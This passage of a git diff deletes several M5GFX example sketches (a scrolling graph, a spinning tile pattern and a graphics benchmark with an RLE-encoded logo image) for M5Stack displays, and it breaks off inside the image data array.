0); - canvas.scroll(-scrollstep, 0); - while (textpos < textlen && cursor_x <= display.width()) - { - canvas.print(text[textpos++]); - cursor_x = canvas.getCursorX(); - } - display.waitDisplay(); - int y = (display.height() - canvas.height()) >> 1; -/* - display.copyRect(0, y, display.width(), canvas.height(), scrollstep, y); - display.setClipRect(display.width()-scrollstep, y, scrollstep, canvas.height()); - canvas.pushSprite(&display, 0, (display.height() - canvas.height()) >> 1); - display.clearClipRect(); -/*/ - canvas.pushSprite(&display, 0, y); -//*/ -} diff --git a/components/M5GFX/examples/Basic/ScrollGraph/ScrollGraph.ino b/components/M5GFX/examples/Basic/ScrollGraph/ScrollGraph.ino deleted file mode 100644 index 91f4ea34..00000000 --- a/components/M5GFX/examples/Basic/ScrollGraph/ScrollGraph.ino +++ /dev/null @@ -1,124 +0,0 @@ - -#include -#include - -#include -M5GFX display; - -//#include -//M5UnitOLED display; // default setting -//M5UnitOLED display ( 21, 22, 400000 ); // SDA, SCL, FREQ - -//#include -//M5UnitLCD display; // default setting -//M5UnitLCD display ( 21, 22, 400000 ); // SDA, SCL, FREQ - -//#include -//M5UnitGLASS2 display; // default setting -//M5UnitGLASS2 display ( 21, 22, 400000 ); // SDA, SCL, FREQ - -//#include -//M5AtomDisplay display; - - -#define LINE_COUNT 6 - -std::vector points[LINE_COUNT]; -int colors[] = { TFT_RED, TFT_GREEN, TFT_BLUE, TFT_CYAN, TFT_MAGENTA, TFT_YELLOW }; -int xoffset, yoffset, point_count; -int virtual_width; -int virtual_height; -int zoom = 1; - -int getBaseColor(int x, int y) -{ - return ((x^y)&3 || ((x-xoffset)&31 && y&31) ? TFT_BLACK : ((!y || x == xoffset) ? TFT_WHITE : TFT_DARKGREEN)); -} - -void setup(void) -{ - display.begin(); - - if (display.isEPD()) - { - display.setEpdMode(epd_mode_t::epd_fastest); - display.invertDisplay(true); - display.clear(TFT_BLACK); - } - if (display.width() < display.height()) - { - display.setRotation(display.getRotation() ^ 1); - } - if (display.getBoard() == m5gfx::boards::board_t::board_M5StackCoreInk) - { - zoom = 2; - } - else if (display.getBoard() == m5gfx::boards::board_t::board_M5Paper) - { - zoom = 3; - } - else - { - zoom = (display.width() / 480) + 1; - } - virtual_width = display.width() / zoom; - virtual_height = display.height()/ zoom; - - xoffset = virtual_width >> 1; - yoffset = virtual_height >> 1; - point_count = virtual_width + 1; - - for (int i = 0; i < LINE_COUNT; i++) - { - points[i].resize(point_count); - } - - display.startWrite(); - for (int y = 0; y < virtual_height; y++) - { - for (int x = 0; x < virtual_width; x++) - { - auto color = getBaseColor(x, y - yoffset); - if (color) - { - display.fillRect(x * zoom, y * zoom, zoom, zoom, color); - } - } - } - display.endWrite(); -} - -void loop(void) -{ - static int count; - - for (int i = 0; i < LINE_COUNT; i++) - { - points[i][count % point_count] = (sinf((float)count / (10 + 30 * i))+sinf((float)count / (13 + 37 * i))) * (virtual_height >> 2); - } - - ++count; - display.waitDisplay(); - display.startWrite(); - int index1 = count % point_count; - for (int x = 0; x < point_count-1; x++) - { - int index0 = index1; - index1 = (index0 +1) % point_count; - for (int i = 0; i < LINE_COUNT; i++) - { - int y = points[i][index0]; - if (y != points[i][index1]) - { - display.fillRect(x * zoom, (y + yoffset) * zoom, zoom, zoom, getBaseColor(x, y)); - } - } - - for (int i = 0; i < LINE_COUNT; i++) - { - int y = points[i][index1]; - display.fillRect(x * zoom, (y + yoffset) * zoom, zoom, zoom, colors[i]); - } - } - display.endWrite(); -} diff --git a/components/M5GFX/examples/Basic/SpinTile/SpinTile.ino b/components/M5GFX/examples/Basic/SpinTile/SpinTile.ino deleted file mode 100644 index 3a902c1b..00000000 --- a/components/M5GFX/examples/Basic/SpinTile/SpinTile.ino +++ /dev/null @@ -1,196 +0,0 @@ - -#include -M5GFX display; - -//#include -//M5UnitOLED display; // default setting -//M5UnitOLED display ( 21, 22, 400000 ); // SDA, SCL, FREQ - -//#include -//M5UnitLCD display; // default setting -//M5UnitLCD display ( 21, 22, 400000 ); // SDA, SCL, FREQ - -//#include -//M5UnitGLASS2 display; // default setting -//M5UnitGLASS2 display ( 21, 22, 400000 ); // SDA, SCL, FREQ - -//#include -//M5AtomDisplay display; // default setting -//M5AtomDisplay display ( 320, 180 ); // width, height - -static constexpr const int qsintab[256]={ - 0x8000,0x80c9,0x8192,0x825b,0x8324,0x83ee,0x84b7,0x8580, - 0x8649,0x8712,0x87db,0x88a4,0x896c,0x8a35,0x8afe,0x8bc6, - 0x8c8e,0x8d57,0x8e1f,0x8ee7,0x8fae,0x9076,0x913e,0x9205, - 0x92cc,0x9393,0x945a,0x9521,0x95e7,0x96ad,0x9773,0x9839, - 0x98fe,0x99c4,0x9a89,0x9b4d,0x9c12,0x9cd6,0x9d9a,0x9e5e, - 0x9f21,0x9fe4,0xa0a7,0xa169,0xa22b,0xa2ed,0xa3af,0xa470, - 0xa530,0xa5f1,0xa6b1,0xa770,0xa830,0xa8ef,0xa9ad,0xaa6b, - 0xab29,0xabe6,0xaca3,0xad5f,0xae1b,0xaed7,0xaf92,0xb04d, - 0xb107,0xb1c0,0xb27a,0xb332,0xb3ea,0xb4a2,0xb559,0xb610, - 0xb6c6,0xb77c,0xb831,0xb8e5,0xb999,0xba4d,0xbb00,0xbbb2, - 0xbc64,0xbd15,0xbdc6,0xbe76,0xbf25,0xbfd4,0xc082,0xc12f, - 0xc1dc,0xc288,0xc334,0xc3df,0xc489,0xc533,0xc5dc,0xc684, - 0xc72c,0xc7d3,0xc879,0xc91f,0xc9c3,0xca67,0xcb0b,0xcbae, - 0xcc4f,0xccf1,0xcd91,0xce31,0xced0,0xcf6e,0xd00b,0xd0a8, - 0xd144,0xd1df,0xd279,0xd313,0xd3ac,0xd443,0xd4db,0xd571, - 0xd606,0xd69b,0xd72f,0xd7c2,0xd854,0xd8e5,0xd975,0xda05, - 0xda93,0xdb21,0xdbae,0xdc3a,0xdcc5,0xdd4f,0xddd9,0xde61, - 0xdee9,0xdf6f,0xdff5,0xe07a,0xe0fd,0xe180,0xe202,0xe283, - 0xe303,0xe382,0xe400,0xe47d,0xe4fa,0xe575,0xe5ef,0xe668, - 0xe6e0,0xe758,0xe7ce,0xe843,0xe8b7,0xe92b,0xe99d,0xea0e, - 0xea7e,0xeaed,0xeb5b,0xebc8,0xec34,0xec9f,0xed09,0xed72, - 0xedda,0xee41,0xeea7,0xef0b,0xef6f,0xefd1,0xf033,0xf093, - 0xf0f2,0xf150,0xf1ad,0xf209,0xf264,0xf2be,0xf316,0xf36e, - 0xf3c4,0xf41a,0xf46e,0xf4c1,0xf513,0xf564,0xf5b3,0xf602, - 0xf64f,0xf69b,0xf6e6,0xf730,0xf779,0xf7c1,0xf807,0xf84d, - 0xf891,0xf8d4,0xf916,0xf956,0xf996,0xf9d4,0xfa11,0xfa4d, - 0xfa88,0xfac1,0xfafa,0xfb31,0xfb67,0xfb9c,0xfbd0,0xfc02, - 0xfc33,0xfc63,0xfc92,0xfcc0,0xfcec,0xfd17,0xfd42,0xfd6a, - 0xfd92,0xfdb8,0xfdde,0xfe01,0xfe24,0xfe46,0xfe66,0xfe85, - 0xfea3,0xfec0,0xfedb,0xfef5,0xff0e,0xff26,0xff3c,0xff52, - 0xff66,0xff79,0xff8a,0xff9b,0xffaa,0xffb8,0xffc4,0xffd0, - 0xffda,0xffe3,0xffeb,0xfff1,0xfff6,0xfffa,0xfffd,0xffff, -}; - -static int isin(int i) { - i=(i&1023); - if (i>=512) return -isin(i-512); - if (i>=256) i=(511-i); - return qsintab[i]-0x8000; -} - -static int icos(int i) { - return isin(i+256); -} - - -int32_t lcd_width; -int32_t lcd_height; -uint32_t f; -uint8_t colors[8]; -size_t scale = 1; - -void setup(void) -{ - display.init(); - display.startWrite(); - display.fillScreen(TFT_BLACK); - - if (display.isEPD()) - { - display.setEpdMode(epd_mode_t::epd_fastest); - } - if (display.width() < display.height()) - { - display.setRotation(display.getRotation() ^ 1); - } - if (display.width() > 800) - { - scale = 4; - } - - lcd_width = display.width() / scale; - lcd_height = display.height() / scale; - - display.startWrite(); - display.setColorDepth(8); - display.fillScreen(TFT_BLACK); - f = 0; - - for (int i = 0; i < 8; ++i) - { - uint32_t p = 0; - if (i & 1) p =0x03; - if (i & 2) p+=0x1C; - if (i & 4) p+=0xE0; - colors[i] = p; - } -} - - uint32_t p_dxx = 0; - uint32_t p_dxy = 0; - uint32_t p_dyx = 0; - uint32_t p_dyy = 0; - int rcos = 0; - int rsin = 0; - int zoom = 0; - int px = 0; - int py = 0; - -void loop(void) -{ - uint32_t p_cxx = (zoom * ((px) * rcos - (py) * rsin) ) >> (20 - 8); - uint32_t p_cxy = (zoom * ((py) * rcos + (px) * rsin) ) >> (20 - 8); - ++f; - rcos=icos(f*3); - rsin=isin(f*3); - zoom=((isin(f*5)+0x10000)>>8)+128; - px=(isin(f)>>7)-110; - py=(icos(f)>>7)-110; - - uint32_t cxx = (zoom * ((px) * rcos - (py) * rsin) ) >> (20 - 8); - uint32_t cxy = (zoom * ((py) * rcos + (px) * rsin) ) >> (20 - 8); - uint32_t dxx = (zoom * (( 1) * rcos - ( 0) * rsin) ) >> (20 - 8); - uint32_t dxy = (zoom * (( 0) * rcos + ( 1) * rsin) ) >> (20 - 8); - uint32_t dyx = (zoom * (( 0) * rcos - ( 1) * rsin) ) >> (20 - 8); - uint32_t dyy = (zoom * (( 1) * rcos + ( 0) * rsin) ) >> (20 - 8); - - display.waitDisplay(); - for (uint32_t y = 0; y < lcd_height; y++) - { - uint32_t ypos = y * scale; - p_cxx+=p_dxx; - p_cxy+=p_dxy; - cxx+=dxx; - cxy+=dxy; - uint32_t cx=cxx; - uint32_t cy=cxy; - uint32_t p_cx = p_cxx; - uint32_t p_cy = p_cxy; - uint32_t x = 0; - uint32_t prev_x = 0; - uint32_t prev_color = 0xAA; - bool flg = false; - do - { - p_cx+=p_dyx; - p_cy+=p_dyy; - cx+=dyx; - cy+=dyy; - auto color = ((cx^cy) >> 16) & 7; - bool diff = color != (((p_cx ^ p_cy) >> 16) & 7); - if (flg) - { - if (!diff || prev_color != color) - { - if (x) - { - display.writeFillRectPreclipped(prev_x * scale, ypos, (x - prev_x) * scale, scale, colors[prev_color]); - } - flg = diff; - prev_x = x; - prev_color = color; - } - } - else - { - if (diff) - { - flg = true; - prev_x = x; - prev_color = color; - } - } - } while (++x < lcd_width); - if (flg) - { - display.writeFillRect(prev_x * scale, ypos, (x - prev_x) * scale, scale, colors[prev_color]); - } - } - display.display(); - p_dxx = dxx; - p_dxy = dxy; - p_dyx = dyx; - p_dyy = dyy; -} diff --git a/components/M5GFX/examples/Basic/TFT_graphicstest_PDQ/TFT_graphicstest_PDQ.ino b/components/M5GFX/examples/Basic/TFT_graphicstest_PDQ/TFT_graphicstest_PDQ.ino deleted file mode 100644 index 23224f66..00000000 --- a/components/M5GFX/examples/Basic/TFT_graphicstest_PDQ/TFT_graphicstest_PDQ.ino +++ /dev/null @@ -1,764 +0,0 @@ -/* - Adapted from the Adafruit and Xark's PDQ graphicstest sketch. - - See end of file for original header text and MIT license info. - - This sketch uses the GLCD font only. - - */ - -#include -M5GFX tft; - -// #include -// M5AtomDisplay tft(1920, 1080); -// M5AtomDisplay tft(1280, 720); -// M5AtomDisplay tft(960, 540); -// M5AtomDisplay tft(640, 360); -// M5AtomDisplay tft(480, 270); -// M5AtomDisplay tft(320, 180); -/* - M5AtomDisplay tft( 240 // width - , 360 // height - , 60 // refresh rate - , 1280 // output width - , 720 // output height - , 2 // X scaling - , 2 // Y scaling - ); -//*/ - -unsigned long total = 0; -unsigned long tn = 0; -void setup() { - Serial.begin(115200); - Serial.println(""); Serial.println(""); - Serial.println("M5GFX library Test!"); - - tft.init(); -//tft.setRotation(0); - tft.startWrite(); -} - -void loop(void) -{ - - Serial.println(F("Benchmark Time (microseconds)")); - - uint32_t usecHaD = testHaD(); - Serial.print(F("HaD pushColor ")); - Serial.println(usecHaD); - delay(100); - - uint32_t usecFillScreen = testFillScreen(); - Serial.print(F("Screen fill ")); - Serial.println(usecFillScreen); - delay(100); - - uint32_t usecText = testText(); - Serial.print(F("Text ")); - Serial.println(usecText); - delay(100); - - uint32_t usecPixels = testPixels(); - Serial.print(F("Pixels ")); - Serial.println(usecPixels); - delay(100); - - uint32_t usecLines = testLines(TFT_BLUE); - Serial.print(F("Lines ")); - Serial.println(usecLines); - delay(100); - - uint32_t usecFastLines = testFastLines(TFT_RED, TFT_BLUE); - Serial.print(F("Horiz/Vert Lines ")); - Serial.println(usecFastLines); - delay(100); - - uint32_t usecRects = testRects(TFT_GREEN); - Serial.print(F("Rectangles (outline) ")); - Serial.println(usecRects); - delay(100); - - uint32_t usecFilledRects = testFilledRects(TFT_YELLOW, TFT_MAGENTA); - Serial.print(F("Rectangles (filled) ")); - Serial.println(usecFilledRects); - delay(100); - - uint32_t usecFilledCircles = testFilledCircles(10, TFT_MAGENTA); - Serial.print(F("Circles (filled) ")); - Serial.println(usecFilledCircles); - delay(100); - - uint32_t usecCircles = testCircles(10, TFT_WHITE); - Serial.print(F("Circles (outline) ")); - Serial.println(usecCircles); - delay(100); - - uint32_t usecTriangles = testTriangles(); - Serial.print(F("Triangles (outline) ")); - Serial.println(usecTriangles); - delay(100); - - uint32_t usecFilledTrangles = testFilledTriangles(); - Serial.print(F("Triangles (filled) ")); - Serial.println(usecFilledTrangles); - delay(100); - - uint32_t usecRoundRects = testRoundRects(); - Serial.print(F("Rounded rects (outline) ")); - Serial.println(usecRoundRects); - delay(100); - - uint32_t usedFilledRoundRects = testFilledRoundRects(); - Serial.print(F("Rounded rects (filled) ")); - Serial.println(usedFilledRoundRects); - delay(100); - - Serial.println(F("Done!")); - - uint16_t c = 4; - int8_t d = 1; - for (int32_t i = 0; i < tft.height(); i++) - { - tft.drawFastHLine(0, i, tft.width(), c); - c += d; - if (c <= 4 || c >= 11) - d = -d; - } - - tft.setCursor(0, 0); - tft.setTextColor(TFT_MAGENTA); - tft.setTextSize(2); - - tft.println(F(" M5GFX test")); - - tft.setTextSize(1); - tft.setTextColor(TFT_WHITE); - tft.println(F("")); - tft.setTextSize(1); - tft.println(F("")); - tft.setTextColor(tft.color565(0x80, 0x80, 0x80)); - - tft.println(F("")); - - - tft.setTextColor(TFT_GREEN); - tft.println(F(" Benchmark microseconds")); - tft.println(F("")); - tft.setTextColor(TFT_YELLOW); - - tft.setTextColor(TFT_CYAN); tft.setTextSize(1); - tft.print(F("HaD pushColor ")); - tft.setTextColor(TFT_YELLOW); tft.setTextSize(2); - printnice(usecHaD); - - tft.setTextColor(TFT_CYAN); tft.setTextSize(1); - tft.print(F("Screen fill ")); - tft.setTextColor(TFT_YELLOW); tft.setTextSize(2); - printnice(usecFillScreen); - - tft.setTextColor(TFT_CYAN); tft.setTextSize(1); - tft.print(F("Text ")); - tft.setTextColor(TFT_YELLOW); tft.setTextSize(2); - printnice(usecText); - - tft.setTextColor(TFT_CYAN); tft.setTextSize(1); - tft.print(F("Pixels ")); - tft.setTextColor(TFT_YELLOW); tft.setTextSize(2); - printnice(usecPixels); - - tft.setTextColor(TFT_CYAN); tft.setTextSize(1); - tft.print(F("Lines ")); - tft.setTextColor(TFT_YELLOW); tft.setTextSize(2); - printnice(usecLines); - - tft.setTextColor(TFT_CYAN); tft.setTextSize(1); - tft.print(F("Horiz/Vert Lines ")); - tft.setTextColor(TFT_YELLOW); tft.setTextSize(2); - printnice(usecFastLines); - - tft.setTextColor(TFT_CYAN); tft.setTextSize(1); - tft.print(F("Rectangles ")); - tft.setTextColor(TFT_YELLOW); tft.setTextSize(2); - printnice(usecRects); - - tft.setTextColor(TFT_CYAN); tft.setTextSize(1); - tft.print(F("Rectangles-filled ")); - tft.setTextColor(TFT_YELLOW); tft.setTextSize(2); - printnice(usecFilledRects); - - tft.setTextColor(TFT_CYAN); tft.setTextSize(1); - tft.print(F("Circles ")); - tft.setTextColor(TFT_YELLOW); tft.setTextSize(2); - printnice(usecCircles); - - tft.setTextColor(TFT_CYAN); tft.setTextSize(1); - tft.print(F("Circles-filled ")); - tft.setTextColor(TFT_YELLOW); tft.setTextSize(2); - printnice(usecFilledCircles); - - tft.setTextColor(TFT_CYAN); tft.setTextSize(1); - tft.print(F("Triangles ")); - tft.setTextColor(TFT_YELLOW); tft.setTextSize(2); - printnice(usecTriangles); - - tft.setTextColor(TFT_CYAN); tft.setTextSize(1); - tft.print(F("Triangles-filled ")); - tft.setTextColor(TFT_YELLOW); tft.setTextSize(2); - printnice(usecFilledTrangles); - - tft.setTextColor(TFT_CYAN); tft.setTextSize(1); - tft.print(F("Rounded rects ")); - tft.setTextColor(TFT_YELLOW); tft.setTextSize(2); - printnice(usecRoundRects); - - tft.setTextColor(TFT_CYAN); tft.setTextSize(1); - tft.print(F("Rounded rects-fill ")); - tft.setTextColor(TFT_YELLOW); tft.setTextSize(2); - printnice(usedFilledRoundRects); - - tft.setTextSize(1); - tft.println(F("")); - tft.setTextColor(TFT_GREEN); tft.setTextSize(2); - tft.print(F("Benchmark Complete!")); - - delay(60 * 1000L); -} - -void printnice(int32_t v) -{ - char str[32] = { 0 }; - sprintf(str, "%d", v); - for (char *p = (str+strlen(str))-3; p > str; p -= 3) - { - memmove(p+1, p, strlen(p)+1); - *p = ','; - - } - while (strlen(str) < 10) - { - memmove(str+1, str, strlen(str)+1); - *str = ' '; - } - tft.println(str); -} - -static inline uint32_t micros_start() __attribute__ ((always_inline)); -static inline uint32_t micros_start() -{ - uint8_t oms = millis(); - while ((uint8_t)millis() == oms) - ; - return micros(); -} - -uint32_t testHaD() -{ - // pseudo-code for cheesy RLE - // start with color1 - // while more input data remaining - // count = 0nnnnnnn = 1 byte or 1nnnnnnn nnnnnnnn 2 bytes (0 - 32767) - // repeat color count times - // toggle color1/color2 - static const uint8_t HaD_240x320[] PROGMEM = - { - 0xb9, 0x50, 0x0e, 0x80, 0x93, 0x0e, 0x41, 0x11, 0x80, 0x8d, 0x11, 0x42, 0x12, 0x80, 0x89, 0x12, - 0x45, 0x12, 0x80, 0x85, 0x12, 0x48, 0x12, 0x80, 0x83, 0x12, 0x4a, 0x13, 0x7f, 0x13, 0x4c, 0x13, - 0x7d, 0x13, 0x4e, 0x13, 0x7b, 0x13, 0x50, 0x13, 0x79, 0x13, 0x52, 0x13, 0x77, 0x13, 0x54, 0x13, - 0x75, 0x13, 0x57, 0x11, 0x75, 0x11, 0x5a, 0x11, 0x73, 0x11, 0x5c, 0x11, 0x71, 0x11, 0x5e, 0x10, - 0x71, 0x10, 0x60, 0x10, 0x6f, 0x10, 0x61, 0x10, 0x6f, 0x10, 0x60, 0x11, 0x6f, 0x11, 0x5e, 0x13, - 0x6d, 0x13, 0x5c, 0x14, 0x6d, 0x14, 0x5a, 0x15, 0x6d, 0x15, 0x58, 0x17, 0x6b, 0x17, 0x37, 0x01, - 0x1f, 0x17, 0x6b, 0x17, 0x1f, 0x01, 0x17, 0x02, 0x1d, 0x18, 0x6b, 0x18, 0x1d, 0x02, 0x17, 0x03, - 0x1b, 0x19, 0x6b, 0x19, 0x1b, 0x03, 0x17, 0x05, 0x18, 0x1a, 0x6b, 0x1a, 0x18, 0x05, 0x17, 0x06, - 0x16, 0x1b, 0x6b, 0x1b, 0x16, 0x06, 0x17, 0x07, 0x14, 0x1c, 0x6b, 0x1c, 0x14, 0x07, 0x17, 0x08, - 0x12, 0x1d, 0x6b, 0x1d, 0x12, 0x08, 0x17, 0x09, 0x10, 0x1e, 0x6b, 0x1e, 0x10, 0x09, 0x17, 0x0a, - 0x0e, 0x1f, 0x6b, 0x1f, 0x0e, 0x0a, 0x17, 0x0b, 0x0c, 0x20, 0x6b, 0x20, 0x0c, 0x0b, 0x17, 0x0c, - 0x0b, 0x21, 0x69, 0x21, 0x0b, 0x0c, 0x18, 0x0d, 0x08, 0x23, 0x67, 0x23, 0x08, 0x0d, 0x19, 0x0e, - 0x06, 0x26, 0x63, 0x26, 0x06, 0x0e, 0x19, 0x0f, 0x04, 0x28, 0x61, 0x28, 0x04, 0x0f, 0x19, 0x10, - 0x02, 0x2a, 0x5f, 0x2a, 0x02, 0x10, 0x1a, 0x3c, 0x5d, 0x3c, 0x1b, 0x3d, 0x5b, 0x3d, 0x1c, 0x3d, - 0x59, 0x3d, 0x1d, 0x3e, 0x57, 0x3e, 0x1e, 0x3e, 0x55, 0x3e, 0x1f, 0x40, 0x51, 0x40, 0x20, 0x40, - 0x4f, 0x40, 0x22, 0x40, 0x22, 0x09, 0x22, 0x40, 0x24, 0x40, 0x1a, 0x17, 0x1a, 0x40, 0x26, 0x40, - 0x16, 0x1d, 0x16, 0x40, 0x28, 0x40, 0x12, 0x23, 0x12, 0x40, 0x2a, 0x40, 0x0f, 0x27, 0x0f, 0x40, - 0x2c, 0x41, 0x0b, 0x2b, 0x0b, 0x41, 0x2f, 0x3f, 0x09, 0x2f, 0x09, 0x3f, 0x32, 0x3d, 0x08, 0x33, - 0x08, 0x3d, 0x35, 0x3a, 0x08, 0x35, 0x08, 0x3a, 0x3a, 0x36, 0x07, 0x39, 0x07, 0x36, 0x41, 0x09, - 0x05, 0x23, 0x07, 0x3b, 0x07, 0x23, 0x05, 0x09, 0x54, 0x21, 0x07, 0x3d, 0x07, 0x21, 0x64, 0x1f, - 0x06, 0x41, 0x06, 0x1f, 0x66, 0x1d, 0x06, 0x43, 0x06, 0x1d, 0x68, 0x1b, 0x06, 0x45, 0x06, 0x1b, - 0x6b, 0x18, 0x06, 0x47, 0x06, 0x18, 0x6e, 0x16, 0x06, 0x49, 0x06, 0x16, 0x70, 0x14, 0x06, 0x4b, - 0x06, 0x14, 0x72, 0x13, 0x06, 0x4b, 0x06, 0x13, 0x74, 0x11, 0x06, 0x4d, 0x06, 0x11, 0x76, 0x0f, - 0x06, 0x4f, 0x06, 0x0f, 0x78, 0x0e, 0x05, 0x51, 0x05, 0x0e, 0x7a, 0x0c, 0x06, 0x51, 0x06, 0x0c, - 0x7d, 0x09, 0x06, 0x53, 0x06, 0x09, 0x80, 0x80, 0x08, 0x05, 0x55, 0x05, 0x08, 0x80, 0x82, 0x06, - 0x05, 0x57, 0x05, 0x06, 0x80, 0x84, 0x05, 0x05, 0x57, 0x05, 0x05, 0x80, 0x86, 0x03, 0x05, 0x59, - 0x05, 0x03, 0x80, 0x88, 0x02, 0x05, 0x59, 0x05, 0x02, 0x80, 0x8f, 0x5b, 0x80, 0x95, 0x5b, 0x80, - 0x94, 0x5d, 0x80, 0x93, 0x5d, 0x80, 0x92, 0x5e, 0x80, 0x92, 0x5f, 0x80, 0x91, 0x5f, 0x80, 0x90, - 0x61, 0x80, 0x8f, 0x61, 0x80, 0x8f, 0x61, 0x80, 0x8e, 0x63, 0x80, 0x8d, 0x63, 0x80, 0x8d, 0x63, - 0x80, 0x8d, 0x63, 0x80, 0x8c, 0x19, 0x07, 0x25, 0x07, 0x19, 0x80, 0x8b, 0x16, 0x0d, 0x1f, 0x0d, - 0x16, 0x80, 0x8b, 0x14, 0x11, 0x1b, 0x11, 0x14, 0x80, 0x8b, 0x13, 0x13, 0x19, 0x13, 0x13, 0x80, - 0x8b, 0x12, 0x15, 0x17, 0x15, 0x12, 0x80, 0x8a, 0x12, 0x17, 0x15, 0x17, 0x12, 0x80, 0x89, 0x11, - 0x19, 0x13, 0x19, 0x11, 0x80, 0x89, 0x11, 0x19, 0x13, 0x19, 0x11, 0x80, 0x89, 0x10, 0x1b, 0x11, - 0x1b, 0x10, 0x80, 0x89, 0x0f, 0x1c, 0x11, 0x1c, 0x0f, 0x80, 0x89, 0x0f, 0x1c, 0x11, 0x1c, 0x0f, - 0x80, 0x89, 0x0f, 0x1c, 0x11, 0x1c, 0x0f, 0x80, 0x89, 0x0e, 0x1d, 0x11, 0x1d, 0x0e, 0x80, 0x89, - 0x0e, 0x1c, 0x13, 0x1c, 0x0e, 0x80, 0x89, 0x0e, 0x1b, 0x15, 0x1b, 0x0e, 0x80, 0x89, 0x0e, 0x1b, - 0x15, 0x1b, 0x0e, 0x80, 0x89, 0x0e, 0x1a, 0x17, 0x1a, 0x0e, 0x80, 0x89, 0x0e, 0x18, 0x1b, 0x18, - 0x0e, 0x80, 0x89, 0x0e, 0x16, 0x1f, 0x16, 0x0e, 0x80, 0x89, 0x0e, 0x14, 0x23, 0x14, 0x0e, 0x80, - 0x89, 0x0f, 0x11, 0x27, 0x11, 0x0f, 0x80, 0x89, 0x0f, 0x0e, 0x2d, 0x0e, 0x0f, 0x80, 0x89, 0x0f, - 0x0c, 0x31, 0x0c, 0x0f, 0x80, 0x89, 0x0f, 0x0b, 0x33, 0x0b, 0x0f, 0x80, 0x8a, 0x0f, 0x09, 0x35, - 0x09, 0x0f, 0x80, 0x8b, 0x10, 0x08, 0x35, 0x08, 0x10, 0x80, 0x8b, 0x10, 0x07, 0x37, 0x07, 0x10, - 0x80, 0x8b, 0x11, 0x06, 0x37, 0x06, 0x11, 0x80, 0x8b, 0x12, 0x05, 0x37, 0x05, 0x12, 0x80, 0x8c, - 0x13, 0x03, 0x1b, 0x01, 0x1b, 0x03, 0x13, 0x80, 0x8d, 0x30, 0x03, 0x30, 0x80, 0x8d, 0x30, 0x04, - 0x2f, 0x80, 0x8d, 0x2f, 0x05, 0x2f, 0x80, 0x8e, 0x2e, 0x06, 0x2d, 0x80, 0x8f, 0x2d, 0x07, 0x2d, - 0x80, 0x8f, 0x2d, 0x07, 0x2d, 0x80, 0x90, 0x2c, 0x08, 0x2b, 0x80, 0x91, 0x2b, 0x09, 0x2b, 0x80, - 0x8c, 0x01, 0x05, 0x2a, 0x09, 0x2a, 0x05, 0x01, 0x80, 0x85, 0x03, 0x05, 0x2a, 0x09, 0x2a, 0x05, - 0x03, 0x80, 0x82, 0x04, 0x05, 0x2a, 0x09, 0x2a, 0x04, 0x05, 0x80, 0x80, 0x06, 0x05, 0x29, 0x04, - 0x02, 0x03, 0x29, 0x05, 0x06, 0x7e, 0x07, 0x05, 0x29, 0x03, 0x03, 0x03, 0x29, 0x05, 0x07, 0x7c, - 0x09, 0x05, 0x28, 0x02, 0x05, 0x02, 0x28, 0x05, 0x09, 0x7a, 0x0a, 0x05, 0x28, 0x02, 0x05, 0x02, - 0x28, 0x05, 0x0a, 0x78, 0x0c, 0x05, 0x27, 0x02, 0x05, 0x02, 0x27, 0x05, 0x0c, 0x76, 0x0d, 0x06, - 0x26, 0x01, 0x07, 0x01, 0x26, 0x06, 0x0d, 0x73, 0x10, 0x05, 0x55, 0x05, 0x10, 0x70, 0x12, 0x05, - 0x53, 0x05, 0x12, 0x6e, 0x13, 0x06, 0x51, 0x06, 0x13, 0x6c, 0x15, 0x05, 0x51, 0x05, 0x15, 0x6a, - 0x16, 0x06, 0x4f, 0x06, 0x16, 0x68, 0x18, 0x06, 0x4d, 0x06, 0x18, 0x66, 0x1a, 0x06, 0x4b, 0x06, - 0x1a, 0x64, 0x1c, 0x06, 0x49, 0x06, 0x1c, 0x55, 0x07, 0x05, 0x1e, 0x06, 0x49, 0x06, 0x1e, 0x05, - 0x07, 0x42, 0x30, 0x06, 0x47, 0x06, 0x30, 0x3a, 0x34, 0x06, 0x45, 0x06, 0x34, 0x35, 0x37, 0x06, - 0x43, 0x06, 0x37, 0x32, 0x39, 0x07, 0x3f, 0x07, 0x39, 0x2f, 0x3c, 0x07, 0x3d, 0x07, 0x3c, 0x2c, - 0x3e, 0x07, 0x3b, 0x07, 0x3e, 0x2a, 0x40, 0x06, 0x3b, 0x06, 0x40, 0x28, 0x40, 0x06, 0x3c, 0x07, - 0x40, 0x26, 0x3f, 0x08, 0x3d, 0x08, 0x3f, 0x24, 0x3f, 0x09, 0x3d, 0x09, 0x3f, 0x22, 0x3f, 0x0a, - 0x14, 0x01, 0x13, 0x02, 0x13, 0x0a, 0x3f, 0x20, 0x3f, 0x0b, 0x14, 0x01, 0x13, 0x02, 0x13, 0x0b, - 0x3f, 0x1f, 0x3e, 0x0c, 0x14, 0x01, 0x13, 0x02, 0x13, 0x0c, 0x3e, 0x1e, 0x3e, 0x0d, 0x13, 0x02, - 0x13, 0x02, 0x13, 0x0d, 0x3e, 0x1d, 0x3d, 0x0e, 0x13, 0x02, 0x13, 0x02, 0x13, 0x0e, 0x3d, 0x1c, - 0x3c, 0x11, 0x11, 0x04, 0x11, 0x04, 0x11, 0x11, 0x3c, 0x1b, 0x10, 0x01, 0x2a, 0x12, 0x11, 0x04, - 0x11, 0x04, 0x11, 0x12, 0x2a, 0x01, 0x10, 0x1a, 0x0f, 0x04, 0x28, 0x14, 0x0f, 0x06, 0x0f, 0x06, - 0x0f, 0x14, 0x28, 0x04, 0x0f, 0x19, 0x0e, 0x06, 0x26, 0x16, 0x0d, 0x08, 0x0d, 0x08, 0x0d, 0x16, - 0x26, 0x06, 0x0e, 0x19, 0x0d, 0x07, 0x25, 0x18, 0x0b, 0x0a, 0x0b, 0x0a, 0x0b, 0x18, 0x25, 0x07, - 0x0d, 0x19, 0x0c, 0x09, 0x23, 0x1c, 0x06, 0x0f, 0x05, 0x10, 0x05, 0x1c, 0x23, 0x09, 0x0c, 0x18, - 0x0c, 0x0b, 0x21, 0x69, 0x21, 0x0b, 0x0c, 0x17, 0x0b, 0x0d, 0x1f, 0x6b, 0x1f, 0x0d, 0x0b, 0x17, - 0x0a, 0x0f, 0x1e, 0x6b, 0x1e, 0x0f, 0x0a, 0x17, 0x09, 0x11, 0x1d, 0x6b, 0x1d, 0x11, 0x09, 0x17, - 0x07, 0x14, 0x1c, 0x6b, 0x1c, 0x14, 0x07, 0x17, 0x06, 0x16, 0x1b, 0x6b, 0x1b, 0x16, 0x06, 0x17, - 0x05, 0x18, 0x1a, 0x6b, 0x1a, 0x18, 0x05, 